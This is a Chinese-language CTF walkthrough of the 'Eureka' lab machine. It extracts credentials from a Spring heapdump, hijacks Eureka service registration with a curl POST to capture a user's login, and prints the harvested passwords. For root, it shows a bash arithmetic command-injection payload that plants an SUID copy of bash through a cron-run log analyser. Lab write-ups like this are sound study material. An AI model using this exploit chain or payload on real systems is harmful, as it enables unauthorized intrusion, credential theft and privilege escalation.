
nmap -T4 -v -A -Pn 10.10.11.66 -oN eureka.txt

USER
有一个域名 furni.htb
port 80

尝试点击图片会告诉我们没有登陆
http://furni.htb/login有一个登录界面
研究了半天没用
扫目录
heapdump
ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://furni.htb/FUZZ" -c

我们可以发现有一个 heapdump,访问下载下来
使用 jdumpspider 查看
java -jar JDumpSpider.jar heapdump

可以发现一个 user:oscar190
和 password: 0sc@r190_S0l!dP@sswd
到那时这个密码还是不能进入后台,尝试使用 ssh 时成功
在 heapdump 的信息中我们就能看到内网有 8761 端口的服务
验证一下

转发一下端口
ssh oscar190@10.10.11.66 -L 8761:127.0.0.1:8761

登录之后需要验证

回到 heapdump,我们可以看到一个新的 user&pass

EurekaSrvr:0scarPWDisTheB3st
Spring Eureka
成功进入


对于 eureka,有文章如下
https://medium.com/@mfocuz/hacking-netflix-eureka-8e5957b2f539
可以通过劫持来导致信息泄露
所以我们可以构造这样一个请求
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"hostName": "IP",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "IP",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": { "$": 8081, "@enabled": "true" },
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'

本机监听 8081 收到

url 解码一下获得账号密码
username=miranda.wise@furni.htb&password=IL!veT0Be&BeT0L0ve
直接 ssh 登录,就可以看到 user.txt

ROOT
Command Injection
上传 pspy 监控一下进程
pspy -cpf -i 1000

发现每过一段时间会执行log_analyse.sh
这个脚本

下载下来查看一下
#!/bin/bash
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi
analyze_logins() {
# Process successful logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${successful_users[$username]+_}" ]; then
successful_users[$username]=$((successful_users[$username] + 1))
else
successful_users[$username]=1
fi
done < <(grep "LoginSuccessLogger" "$LOG_FILE")
# Process failed logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${failed_users[$username]+_}" ]; then
failed_users[$username]=$((failed_users[$username] + 1))
else
failed_users[$username]=1
fi
done < <(grep "LoginFailureLogger" "$LOG_FILE")
}
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
display_results() {
echo -e "${BLUE}----- Log Analysis Report -----${RESET}"
# Successful logins
echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
total_success=0
for user in "${!successful_users[@]}"; do
count=${successful_users[$user]}
printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
total_success=$((total_success + count))
done
echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"
# Failed logins
echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
total_failed=0
for user in "${!failed_users[@]}"; do
count=${failed_users[$user]}
printf "${RED}%6s %s${RESET}\n" "$count" "$user"
total_failed=$((total_failed + count))
done
echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"
# HTTP status codes
echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
total_requests=0
# Sort codes numerically
IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
unset IFS
for entry in "${sorted[@]}"; do
code=$(echo "$entry" | cut -d':' -f1)
count=$(echo "$entry" | cut -d':' -f2)
total_requests=$((total_requests + count))
# Color coding
if [[ $code =~ ^2 ]]; then color="$GREEN"
elif [[ $code =~ ^3 ]]; then color="$YELLOW"
elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
else color="$CYAN"
fi
printf "${color}%6s %s${RESET}\n" "$count" "$code"
done
echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"
这个脚本的主要用途是自动化分析日志文件,然后提供关于登录行为、HTTP 状态码分布以及错误信息的详细报告
application.log 作为 cronjob
这个脚本的问题在于if [[ "$existing_code" -eq "$code" ]]; then
,如果$code
处插入了命令,如:$(date >&2)
,就会被直接执行,造成命令注入
可以参考文章如下
但是我们对这两个application.log 没有写入权限

但是我们属于developers
组,是可以操作这俩个目录的

所以随机挑选一个目录,删除其中的application.log,并重写一个,加上 SUID 提权的 payload
rm application.log
echo 'HTTP Status: a[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' >> application.log

然后等待 corn 执行,然后/bash 提权即可,就可以查看 root.txt 了


Comments | NOTHING